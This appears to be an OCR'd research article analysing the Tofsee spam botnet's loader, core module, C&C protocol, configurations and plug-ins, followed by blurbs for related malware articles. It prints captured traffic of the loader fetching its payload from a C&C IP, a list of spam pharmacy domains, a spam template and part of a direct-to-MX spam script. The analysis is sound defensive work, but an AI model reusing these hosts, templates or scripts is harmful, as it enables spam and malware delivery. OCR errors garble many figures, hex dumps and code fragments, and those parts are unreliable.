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Abstract

The spam botnet Tofsee can be divided into three components: loader, core module and
plug-ins. Ryan Mi describes how the components communicate with the C&C server, and
how they work with one another.

The spam botnet Tofsee, a.k.a. ‘'GHEG’, has been active for many years. | first encountered
it in May 2013, since when | have been monitoring its activities. Based on my analysis, the
Tofsee botnet can be divided into three components: loader, core module and plug-ins. In
this article | will describe how the components communicate with the C&C server, and how
they work with one another.

The loader

The loader is a relatively simple and independent component compared with the other two.
Usually, the file comes from a social network and disguises itself as an interesting picture.
After successfully luring victims into executing it, the loader will communicate with a list of
C&C servers that are hard-coded within its code, then download and run the core module. At
the same time, it downloads a picture file and displays it to the victim.

Figure 1 shows the initial communication between the victim machine and the C&C server.
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Stream Content
GET /tsone/vowetll.dat?wv=51&bt=32 HTTP/1.0
Host: 91.218.38.211

HTTP/1.1 200 OK

Date: Sat, 18 May 2013 11:49:24 GMT

server: Apache/2.2.15 (Cent05)
Last-Modified: Tue, 14 May 2013 10:10:04 GMT
ETag: "7c0c3-60-4dcaad6415700"
Accept-Ranges: bytes

Content-Length: 96

Connection: close

Content-Type: video/unknown

Figure 1. Initial communication between victim and C&C server.

The loader’s request contains parameters that provide the Windows version and system bit
type to the C&C server. The reply from the C&C server is encrypted. After decryption, the
information is revealed in the following format: KEYS(l,u,p), Path, URL, Content-Length. An
example is shown in Figure 2, with the corresponding values:

11, name03, 3sRd6Nf8H, tsone/ajuno.php,
hxxp://wickedreport.com/images/2009/05/naughty-elephant.jpg, 25

The ‘KEYS(l,u,p)’and ‘Path’ value will be used to connect to the same C&C server again and
to download the core module binary. The ‘URL’ value is the link to download the picture file.
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Stream Content

POST /tsone/ajuno.php HTTP/1.0

Host: 91.218.38.211

Content-Type: application/x-www-form-urlencoded
Content-Length: 25

u=name(3&p=3sRd6Nf8H&1=11HTTP/1.1 200 OK

Date: Sat, 18 May 2013 11:49:34 GMT

Server: Apache/2.2.15 (Cent0S)

annwered&E¥: PHP/5.3.3

Pragma: public

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0
Cache-Control: private

Content-Disposition: attachment; filename="MeWhoreGIF.exe";
Content-Transfer-Encoding: binary

Content-Length: 96768

Connection: close

Content-Type: application/force-download

B e e 1..L.!This program

st ha mie S WOE meada

Figure 2. Victim downloads the core module.

The core module

The core module is the main control component. It hides itself in the victim system, keeps
talking to the C&C server, fetches new configuration data and loads plug-ins.

Although the core module connects to the C&C server through ports 443, 995 or 465, the
connections are not standard SSL. The streams between them are encrypted by a
customized encryption routine. After setting up the TCP connection, the C&C server will send
a 200-byte package to the core module. The decrypted data includes an initialized 128-byte
key table, the victim’s public IP address, server status flags, etc. (see Figure 3).
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Figure 3. 200-byte package sent to the core module that includes the key table.

The core module inspects the package received from the C&C server. If all goes well, the
core module will generate a package which includes local information (such as: local time,
unique ID, system version, etc.) and send it back to the C&C server. The core module will
use the key table and a hard-coded key string, ‘abcdefg’, for encryption to generate the
package. From this point on, communication between the victim and the C&C server will use
the key table and the hard-coded key string for encryption and decryption.

Next, the server may return a new C&C server list (Figure 4) or request local configuration
information from the victim and provide some new configuration files to the core module.
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0000000z [7d01 0Q00] fd01 0000] fécl 8117 P102.000G }...}evsfenessns

0000010: 0000 0008, 0000 00DY OOFL 0000 BO77 B£72 wveeeceacanes

0000020: 6bSEf 7372 & " P

0000030z 7459 0100

0000040: 2e37 352e 3232 '$82e 31383600 00000000 —25.228.186..... Configuration Name
0000050: 0000 0000 0000 -

0000060z 0000 0000 0000
0000070: 0000 0000 0000 0000 OCRH 0000 O0D0 BbOL ™ .......
0000080: 0000 0032 3137 2e37 :
0000030: 3700 0000 0000 0000 i S S
00000a0: 0000 0000 0000 0000 0000
00000b0: 0000 0000 0000 0000 0000 0000 OOG0 0000 ™eeweeebiesesnas
00000c0: 0000 OObb 0100 0000 3138 382e
00000d0: 3133 322e 3132 3300 0000 0000 0000 e
00000e0: 0000 0000 0000 0000 0000 0000 0000 0000%, «vovwesbpnsscsns
00000£0: 0000 0000 0000 0000 OOOO0 0000 0000 0000 “ueeweeeshesssss
0000100: 0000 0000 0000 0000 B1&f 0000 0072 €774
oooo11o: NN c:7: 7968 2e62 £97a 0000
0000120: 0000 0000 0000 0000 G000 0000 0000 0000 .. .vvopuoeewna
0000130: 0000 0000 0000 0000 OOO0O0 0000 0000 0000 .veveeeeeuessnas
0000140: 0000 0000 0000 0000 OOO0O0 0000 O0Bb OL00 ...ceceesesethgns
0000150: oooo 7765 7274 R sco Gcie
0000160: 6368 0000 0000 0000 OOOO0 0000 0000 0000 Cheveeeesnsscuna

0000170: 0000 0000 0000 0000 OOO0O0 0000 0000 0000 ..oceceesscsssns

0000180: 0000 0000 0000 Q0000 OOO0O0 0000 0000 0000 ...vecsesssscsns Data Length
0000190: 0000 bbO1 0000

J

Figure 4. New C&C server list.

Configuration Type

Compress flag and Package
Type

CRC Value

Decompressed Length

In Tofsee, at the beginning of each configuration, there are a couple of bytes that indicate the
length and CRC value of the configuration data. Following these bytes, the configuration can
be divided into three parts: configuration type, configuration name and configuration data.
For example, we can see in Figure 4 that the configuration type is 1, the name is ‘work_srv’,
and the rest is the corresponding data. Each specific type of configuration contains different
configuration data. For example, configuration type 1 contains a list of C&C servers;
configuration type 5 is for plug-ins; configuration type 7 contains string variables for spam.

Figure 5 shows some of the configurations collected from Tofsee C&C servers.
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T-%E0ODYA_T3
7-%BO0YA_T3_ATT
T-%BODYA_T4
T-%BO0YA_T4_ATT
T-REODYA_TE
T-%BODYA_T9
T-REODYA_TIATT
T-%EODYAHTMLO
7-%BODYAHTMLR
T-REODYAHTMLS
T-%EODYAHTMLT
T-%E00DYD
T-%CHARSET
T-%DATE_AUTOURL
7-%DATE_HM_BODY1
T%DATE_TWI
7-%DATING_ALL_URL
T-%DATING_GM_URL
T-%DATING_HM_URL
TRDATING_LIRL
T-%EHASH
T-RHEVA_AUTOURL
T-%EVA_FTP
T-%EVA_LRL

Figure 5. List of Tofsee configurations.

7-%GM2_BODY
7-%GM3_BODY
7-%GM4_BODY
T-%GMBODY_ROT
T-%HDR_EMPTY
7-%HDR_CUTL
T-%HDR_SIMPLE
7-%HDR_THUND
T-%HEADER
7-%HI
T-%HOSTINGR
7-%HOSTS
T-%IMG_ID
7-%LANG ID
T-BLIVEIMGID
7-%LNAME
7-%MBNER_LOGIMNZ
T-%MNAME
T-%MNAMES
7-%0E_SUBVERSION
7-%0E_VERSION
T-%RECIVED
7-%REPLICA_TW
T-%REPLICA_URL

7-%RND_SMILE
T-%RND_THUMDR
7-%RND_USERAGENT
7-%RND_VIADV
T+%RND_VIFRNM
7-%RND_VILINE
T-%RND_WORD
7-%RND_YCBID
7-%RND_YCBMSG
7-%RND_YCENL
7-%RNDRER
7-%RNDRCOLOR
7-%RRESOLY
7-%SPRO_TEXT1
7-%SPRO_TEXT2
T%SPRO_URLL
7-%SPRD_URL2
7-%SPRO_URLS
7-%551570H
T-%SUBI_ADG
7-%SUBI_DATEL
T-HSUBLTI
7-%SURILT4
T-SSUBI_T4_ATT

T-%AIRL_B&4
7-%URL_DATE
7-%URL_TEST1
7-%V1_ENCODED
T-%WORD_CAP
T-RWORD_LIT
T-RWORDS_1_2 LT
T-RWORDS_1_2_LIT--
T-RBYAHOOD_LOGIN
B-44B4% _AUTO ADZ2
B-4484%FROM_EMAIL
B-4484%MID_WORD
E-44B4%RAND CHERTA
B-4484%AND_LINEL
E-4484%ANDREXL
B-4484%ANDRFONT
E-J4B4%ANDRSIZE
B-4484%5TART WORD
£-44843%518)
B-4484%T0_NAME
E-4485% _AUTO_AD2
B-4485%FROM_EMAIL
B-4485%MID_WORD
B-4485%AND_CHERTA

B-4502%RND_CHERTA
8-4502%RND _LINEL
B-4502%RNDREXL
B-4502%ENDRFONT
B-4502%RNDRSIZE
B-4502%5TART_WORD
B-4502%508)
8-4502%T0_NAME
B-4511%_AUTO_ADZ
B-4511%FROM_EMAIL
B-4511%MID WORD
8-4511%RND_CHERTA
8-4511%RND_LINEL
8-4511%RMNDREXL
B-4511%RNDRFONT
B-4511%RNDRSIZE
B-4511%START WORD
B-4511%50UEB)
B-4511%T0 NAME
B-4512%_AUTO_ADZ
B-4512%FROM_EMAIL
B-4512%MID WORD
B-4512%RND CHERTA
B-4512%RND_LINEL

11-4502
11-4506
11-4507
11-4511
114512

21 -tk

2=kl
23-maiibody
23-snifictg
24-prowy_clg
24-wiist
25-w5_loginloo
25w _retog
31-RT1
31-RT_2
31-RT_AD
32-ps_otlups_hi
32-ps_otlups_y:
32-pamitp_cig
34-miner_cfg
36-sprdl_cig
37-sprdd_cfg
3B-mys_elg
F-webb_cfy

The name gives us a general idea of what each configuration is for. Types 7 and 8 in

particular have a large number of configurations. These contain string variables which will be

used by the email template to generate random spam emails.

Figure 6 shows part of the template from the configuration ‘3-psmtp_task’.

6/15



Return-Path: $FROM EMAIL

From: ARND VIERNM <%FROM EMAIL>

To: ¥TO_HAME ¥TO_EMATL

Subject: Y5UBJ

Date: %DATE

MIME-Version: 1.0

Content-Type: text/html; charsec="%CHARSET"
Content-Iransfer-Encoding: quoted-printable

[qp0+)}<html><head><meta http-sequive“"Contenc-Type™ content="text/html;

charset=§CHARSET "><title>Canadian Healthcare Center</title></head><body><h2»<b>YOUR HEALTH
15 OUR MAIN CONCERNIRND DEXIL</b></h2><hd><font color="iRNDRCOLOR">Please %{loock

at}{note} {check out} our new summer offers and save HUGE on the best

% (meds) {drugs) {medications) $RND DEXL</font></ha><p><b>%([Today's

Bestsellera) (Bestaellera) {Most Popular Products){The Beat Producta) {Bestaeller

Producta} {Best-5elling Products}{Top Bestsellers)}{The Best Prices For){Top-5Sellers

Today) {Beat Prices On} {Unprecedented Prices On}:</b></p><table border="0"
cellspacing="10"»<cr><tdr<font color="%RNDRCOLOR™>MEN'S SEXUAL
HEALTH:</font></td><td><font color="%RNDRCOLOR™>ANTIDEPRESSANTS : </ fontx></odx</trxCtr<td>-
<b>Viagra</b> a3 low a3 §1.38<br> - <b>Cialis</b> a3 low a3 §1.75<br> - <b>Viagra <fontc
size="=1">5Super Active+</font>/b> as low as $2.55<br> - <b>Levitra</b> as low as
$2.50<br> - <b>Viagra <font size="-1">Professional</font></b>as low as $3.50<br> and
more, . </ td>rd>- <brProzac</b> low as §0.35<br> - <b>Cymbalta</b> as low as §1.13<br>» -
<b>Zoloft</b> as low as §0,88<br> - <b>Lexapro</b> as low as §0.63<br> - <b>»Wellbutrin 5R
</b>»aa low as £1.25<br> and more...</td»/eexerxtd><font color="1RNDRCOLOR">WEIGHT
LOSS:</font><¢/cdy<td><font color="%RNDRCOLOR">ANTIBIOTICS:</fonty</tds</trsCtrCtdy-
<b>Acomplia</b> as low as §2.50<br> - <b>¥enical</b> as low as $2.49%<br> - <b>Mega
Hoodia</b> as low as $22.50<br> and more...</td>Ctd>- <b>Zichromax</b> as low as §0.75<br>
= <brAmoxicillin</b> as low a3 £0.52<br> - <b>Cipro</b> as low a3z £0.30<br> and

more. . .</td></er>/table>x<br><table border="0" cellspacing="10"><tr><td><b>%{Click

Bellow) {Follow the URL bellow){Follow this Link}(Follow the Link} to Viaitc

% (Canadian) {World-Beat) {The Best}{The

Cheapest)} {Popular) {Well-known) [Inexpensive) (Reasonable) [Affordable} (Express)

% {Drugstore] {Drugstore Center) [Drugstore Mall) {Pharmacy) {Drug Mall) [Drugs

Discounter} {Medications Mall) [Medications Discounter)¥RND DEXL</b></td»</tra<tr><td><hl
align="center®><a href="3%EVA_URL">%EVA_URL</a></ hl><p><FONT face=%{RNDREONT
color=ARNDRCOLOR 3ize=2><STROMG>If this link is not clickable:</STRONG><br> snbsp:;enbsp;l.
Copy 3EVA_URL to clipboard (Ctrl+()<br> &nbsp;&nbsp;2. Open another tab in your browser

Figure 6. Part of the configuration template.

In the template, we found many variables such as %RNDRCOLOR, %RND_DEXL,
%EVA_URL, etc. So, for example, Figure 7 shows the content of configuration 7-
%EVA_URL'.
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Shttp://drugstoredrugs.ru
http://drugstorerxmeds.ru
http://freerxdrugsatore.ru
http://pillpharmacyrx.ru
http://rxpharmacytabletsdrugstore.ru
http://rypillsfitness.ru
http://rxpillsnutrition.ru
http://tabhealthdrugstore.ru
http://tripdrugstorerx.ru
http://triphealthdrugstore.ru
http://remedytarerxtablets.ru
http://rxtabletsmeds.ru
http://tabhealthpharmacy.ru

Figure 7. A list of URLs in a configuration for spam email.

In the lower half of configuration ‘3-psmtp_task’ there is a small script for sending spam
using the ‘direct-to-MX’ method. Figure 8 shows part of the script.
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mx__ M($RND NUM[1-4]) _.hotmail.com:25

mx_smtp 0l.txt

~2

$FROM_DOMAIN _ A(4|__M(SHOSIS)_)__

"""EHLO _ A(3|__M(%{mail}{smtp}IRND_NUM[1-4].%FROM_DOMAIN)_ )_ \r\n"""

mx_smtp_02.tTxt

~2 ~3

L_NEXT_ BODY

MI 0

m $FROM EMAIL _ M(%FROM USER)__@_ M(¥FROM_DOMAIN)
"""MAIL From:<__ M(%FROM_EMAIL)__ >\r\n"""

S« o w®m=EHEOWLDO

mx_smtp 03.txt

L QUIT ~421

n2 ~3

L_NEXT_EMAIL

L_NO_MORE_EMAILS @ _ S(TOI__w(MI)_)__

"="RCPT To:<__1(__S(TOI_wv(MI)_)_)__>\r\n"""

mx_smtp 04.TxC

L_OTLUP ~550

L_TOO_MANY RECIP ~452

~2 ~3

MI _ A(lI_wv(MI)__,+,1)__

L_NEXT_EMAIL 1 _ A(1ll_w(MI)__,<,10)__
L_NO_MORE_EMAILS

L_NOEMAILS 0 __ A(ll_w(MI)__,>0)__
"TTDATANZAR"""

mx_smtp 05.TXC

~2 ~3

$5S1970H _ P(__t(126230445)__|116)__
$TO_EMAIL """<_ 1(_ S(I010)__)_ >"""
W """ S(BODY) \r\n.\r\n"""

Figure 8. The lower half of ‘3-psmtp_task’.

H H o w®WM=EEHE <€« 0 HHW©XPM=EIHOD HW®DE

Once Tofsee’s core module has been deployed in the victim system, the C&C server will
send it lots of new configurations every day. Figure 9 shows information based on my
tracking data. (Note that the statistics were generated on 10 January 2014.)
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%eType-%MName

P 3-psmtp_task
7-%EVA_AUTOURL
7-%SPRD_URL2
7-%DATING_ALL_URL
24-wlist
7-%5PRD_URL1
3-task_cfg
T-%DATING_GM_URL
7-%DATE_AUTOURL
31-RT_2

24-proxy_cfg
T-%DATE_TWI
36-sprd1_cfg
34-miner_cfg
3-webm_cfg2
7-%5UB)
7-%DATING_HM_URL
7-%GM_BODY
7-%DATING_URL
7-%REPLICA_TW
7-%REPLICA_URL
1-start_srv
7-%FARM_BOD_RAN
7-%GM2_BODY
1-work_srv

5-12

T-%FIREURL
7-%A0L_DURL
11-4435
7-%GMBODY_ROT
7-%A0L_DATE_BODY
7-%A0L_FURL

5-4

T-8LAN BOANY FADM

UpdateCount

LastUpdate

843 2013-12-13 12:42:16
658 2014-01-10 12:42:57
326 2014-01-10 12:43:03
254 2014-01-10 12:43:00
245 2014-01-10 12:42:58
229 2014-01-02 12:42:14
207 2013-12-13 12:42:15
103 2013-11-21 06:42:26
96 2013-10-07 12:42:27
53 2014-01-08 06:42:25
30 2013-12-18 12:43:54
21 2013-10-07 12:42:27
19 2013-12-06 06:42:33
18 2014-01-02 06:42:15
15 2013-12-13 12:42:16
12 2013-12-11 12:42:38
11 2013-10-15 06:42:54
9 2014-01-09 06:42:56

9 2013-09-30 06:42:32

8 2013-10-07 12:42:28

8 2013-10-07 12:42:27

7 2013-12-18 00:43:16

6 2013-09-08 12:42:16

6 2014-01-08 12:43:54

6 2013-11-25 12:43:55

5 2014-01-10 06:43:53

5 2013-12-18 00:43:17

4 2013-12-09 12:42:42

4 2013-12-18 00:43:16

4 2014-01-08 12:43:55

4 2013-12-00 18:42:36

4 2014-01-10 06:43:51

3 2013-12-04 12:42:34
2 MN12.12.12 A4 R

Figure 9. Updating frequency of Tofsee configurations.

Some of the configurations were updated quite frequently, especially those with ‘URL’ as part
of their names. It is interesting to see that the configuration ‘3-psmtp_task’ has not been
updated for a while, even though it is still top of the list, as shown in Figure 9. It appears that
configuration types 11 and 8 were introduced recently.
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The type 11 configuration has a similar data structure to ‘3-psmtp_task’. It uses type 8 to
generate spam. These have been introduced to replace the ‘3-psmtp_task’ configuration, as
we can tell from the update times shown in Figure 10.

%Type-%MName UpdateCount LastUpdate
q11-44322 | 1 2013-12-16 12:43:10
11-4433 1 2013-12-16 12:43:10
11-4434 1 2013-12-16 12:43:10
11-4435 4 2013-12-18 00:43:16
11-4436 1 2013-12-16 12:43:10
11-4437 1 2013-12-17 00:42:22
11-4440 1 2013-12-18 00:43:16
11-4441 2 2013-12-19 12:43:01
L
*
*
11-4509 1 2014-01-0/ 06:43:16
11-4502 1 2014-01-07 12:42:55
11-4510 1 2014-01-07 12:43:02
11-4511 1 2014-01-08 00:42:29
11-4512 1 2014-01-08 06:42:27
11-4513 1 2014-01-08 18:42:37
11-4517 1 2014-01-09 06:42:57
11-4518 1 2014-01-09 12:42:27
11-4514 1 2014-01-09 12:42:27
11-4516 1 2014-01-09 12:42:27
11-4519 1 2014-01-10 00:42:32
11-4520 2 2014-01-10 12:42:35
11-4528 1 2014-01-10 12:42:36

Figure 10. Type 11 configuration.

One more thing about the configuration is that, based on my data, the Tofsee C&C servers
have not been changed frequently. Configurations ‘1-start_srv’ and ‘“1-work_srv’ contain a list
of C&C servers, as shown in Figure 11. (Please refer to Figure 4 for the content of these
configurations.) These C&C servers are mainly hosted in Malaysia, Hong Kong and Eastern
European countries.
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% Type-%Name UpdateCount
4 1-start_srv
1-work_srv

Figure 11. Configurations that contain a list of C&C servers.

The plug-ins

LastUpdate
7 2013-12-18 00:43:16
6 2013-11-25 12:43:55

The plug-ins are of configuration type 5. From the data in Figure 12, we can tell that the plug-

ins are not updated frequently. The most recently updated one, ‘5-12’, is related to

spamming.

%Type-%Name UpdateCount

5-12
>-18
9-19
5-14
5-4
T
5-16
S-17
5-11
o |
5-2
5-3
>-b

A

Figure 12. List of plug-ins.

LastUpdate
5 2014-01-10 06:43:53
3 2013-12-1912:43:03
2 2013-12-11 12:42:38
3 2013-12-10 06:42:14
3 2013-12-04 12:42:34
2 2013-11-30 06:42:23
2 2013-08-15 06:42:28
1 2013-07-22 16:04:42
1 2013-07-22 16:04:42
1 2013-07-22 16:04:41
1 2013-07-22 16:04:41
1 2013-07-22 16:04:41
1 2013-07-22 16:04:41
1 2013-07-22 16:04:41

The following is a list of plug-ins and their names:

o 5-1

e 5-2

e 5-3

.« 54

e 5-5

e 5-6

: plg_ddos

: plg_antibot - kill
: plg_sniff

: plg_proxy

: plg_webm

: plg_protect
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e 5-7:plg_locs

e 5-11: plg_text

e 5-12: psmtp

e 5-14: plg_miner

e 5-16: plg_spread1
e 5-17: plg_spread?2
e 5-18: plg_sys_cfg

All of the plug-ins received from the C&C server are loaded into the core module’s memory
and run under the core module. All of the plug-ins are DLL files and have the same exported
function, ‘plg_init’, which will be called by the core module to initialize them.

Figure 13 shows the part of the core module code that loads the plug-ins.

-+

= SearchExportTable(PlugInStruct
Ffset )

ﬂ DestroylLoadedPlugin(v3);

Vs

Fgure 13. Snippet of core module code for loading the plug-ins.

The function ‘plg_init’ only takes one parameter, ‘Function_Structure’, which is a big array of
function memory locations. ‘Function_Structure’ is first initialized by the core module, and
later the plug-ins will update it by adding or removing items. Since the core module and the
plug-ins all run under the same process, they can share different functions with one another.
Figure 14 shows how the plug-in ‘5-4’ accesses functions.
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listen status

dword 1480AE99

random port -

socket (*(FunctionStrucuture + @xC8)) (Al
( socket »

dword_1488AE98

[ ;

htons (random_port) ;

.'j

'{*(FunctionStrucuture + Ox
ak:

++random_port;

dword_1480AE90
i (*(FunctionStrucuture + OxDC))(socket, 108) )// listen

listen_status :
CallCloseSocket(socket);
sult

Figre 14. Snippet of plug-in code to access functions using ‘Function_Structure’.

Tofsee’s overriding behaviour is spamming, of course. However, its use of plug-ins allows for
additional functionality. So far, based on my analysis, the binaries that have been
downloaded from the C&C server have functionalities such as DDoSing, sniffing, rootkit
protection and litecoin mining.

We will continue to keep an eye on this botnet to see what new features appear and how it
evolves.
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Cryptojacking_on the fly: TeamTNT using NVIDIA drivers to mine
cryptocurrency

TeamTNT is known for attacking insecure and vulnerable Kubernetes deployments in order
to infiltrate organizations’ dedicated environments and transform them into attack
launchpads. In this article Aditya Sood presents a new module introduced by...

Collector-stealer: a Russian origin credential and information extractor

Collector-stealer, a piece of malware of Russian origin, is heavily used on the Internet to
exfiltrate sensitive data from end-user systems and store it in its C&C panels. In this article,
researchers Aditya K Sood and Rohit Chaturvedi present a 360...
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Fighting Fire with Fire

In 1989, Joe Wells encountered his first virus: Jerusalem. He disassembled the virus, and
from that moment onward, was intrigued by the properties of these small pieces of self-
replicating code. Joe Wells was an expert on computer viruses, was partly...

Run your malicious VBA macros anywhere!

Kurt Natvig wanted to understand whether it's possible to recompile VBA macros to another
language, which could then easily be ‘run’ on any gateway, thus revealing a sample’s true
nature in a safe manner. In this article he explains how he recompiled...

Dissecting the design and vulnerabilities in AZORult C&C panels

Aditya K Sood looks at the command-and-control (C&C) design of the AZORult malware,
discussing his team's findings related to the C&C design and some security issues they
identified during the research.
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